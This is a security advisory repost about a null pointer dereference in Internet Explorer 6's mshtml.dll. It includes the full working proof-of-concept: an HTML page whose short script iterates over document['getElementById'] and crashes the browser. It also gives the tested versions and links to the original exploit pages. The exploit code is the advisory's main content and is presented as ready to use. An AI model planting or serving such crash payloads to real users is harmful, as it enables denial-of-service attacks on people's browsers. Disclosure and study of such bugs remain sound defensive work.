[EXPL] MS Internet Explorer 6 Null Pointer Dereference Exploit (mshtml.dll)



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MS Internet Explorer 6 Null Pointer Dereference Exploit (mshtml.dll)
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SUMMARY

Microsoft Internet Explorer version 6 crashes when you open the attached
HTML page, this is due to its attempt to dereference a NULL pointer.

DETAILS

Vulnerable Systems:
* Microsoft Internet Explorer version 6.0.2800.1106; SP1 (Windows 2000
Advanced Server)
* Microsoft Internet Explorer version 6.0.2900.2180.xpsp.050928-1517;SP2
(Windows XP Pro)

Exploit:
<!--
+ Title: Microsoft Internet Explorer Malformed HTML Null Pointer
Dereference Vulnerability (mshtml.dll) (0-day)

+ Bug discovered & exploit coded by AmesianX in powerhacker.net (YoungHo
Park - amesianx@xxxxxxxxx)

+ Critical: Critical

+ Impact: MS Internet Explorer 6 -> Crash (Denial of Service)

+ Where: From remote

+ Tested Operating System: Windows XP SP2 FULL PATCHED (Korean Language)
Windows 2000 Advanced Server
(Korean Language)

+ Tested Software: Microsoft Internet Explorer Ver.6.0.2800.1106;SP1
(Windows 2000 Advanced Server)
Microsoft Internet Explorer
Ver.6.0.2900.2180.xpsp.050928-1517;SP2 (Windows XP Pro)

+ Solution: Not Patched (zero-day)

+ Description:
The following bug was tested on the latest version of Internet Explorer
6 on a fully-patched
Windows XP SP2 system. this bug will crash when executing a 'for'
scripts.

+ The following proof-of-concept is also available:
<http://www.powerhacker.net/exploit/IE_NULL_CRASH.html>
http://www.powerhacker.net/exploit/IE_NULL_CRASH.html
-->

<html>
<head>
<title> AmesianX, RC_No1 in powerhacker.net (amesianx@xxxxxxxxx,
RC_No1@xxxxxxxxx)</title>
</head>
<body>
<script language='javascript'>
var data = document['getElementById'];
for(var key in data);
</script>
</body>
</html>


ADDITIONAL INFORMATION

The original article can be found at:
<http://www.milw0rm.com/exploits/3272>
http://www.milw0rm.com/exploits/3272



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